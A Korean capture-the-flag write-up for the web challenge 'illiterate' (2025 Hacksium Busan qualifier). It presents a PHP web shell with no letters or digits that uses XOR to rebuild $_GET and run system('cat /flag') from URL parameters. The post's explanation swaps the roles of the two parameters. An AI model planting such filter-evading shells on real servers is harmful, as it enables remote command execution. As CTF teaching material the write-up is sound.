포스트

[2025 Hacksium Busan 예선] illiterate

[2025 Hacksium Busan 예선] illiterate

카테고리

Web

문제 분석 및 풀이

임의 파일을 업로드할 수 있는 웹페이지이다. 하지만 파일 내용에 숫자와 알파벳이 포함되지 않는 파일만 업로드할 수 있다.
아래와 같은 php 파일을 업로드한다.

1
2
3
4
5
<?=
$_="{";
$_=($_^"<").($_^">;").($_^"/");
${'_'.$_}["_"](${'_'.$_}["__"]);

  • $_ 변수는 “{“이다.
  • 세 번째 줄에서는, 두 번째 줄에서 선언한 $_ 변수와 “<”, “>”, “/”를 각각 XOR 연산하여 “GET”이라는 문자열을 생성한다.
  • 네 번째 줄에서는, 세 번째 줄에서 만든 “GET”의 앞에 “_“를 붙이고, 가변 함수를 사용해 함수 “__“을 “_“를 인자로 하여 실행한다.
    • “__“와 “_“는 모두 GET 파라미터이다.
    • “__“에는 cat /flag, “_“에는 system을 대입하여 플래그를 얻을 수 있다.
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.

"2025 Hacksium Busan" 카테고리의 게시물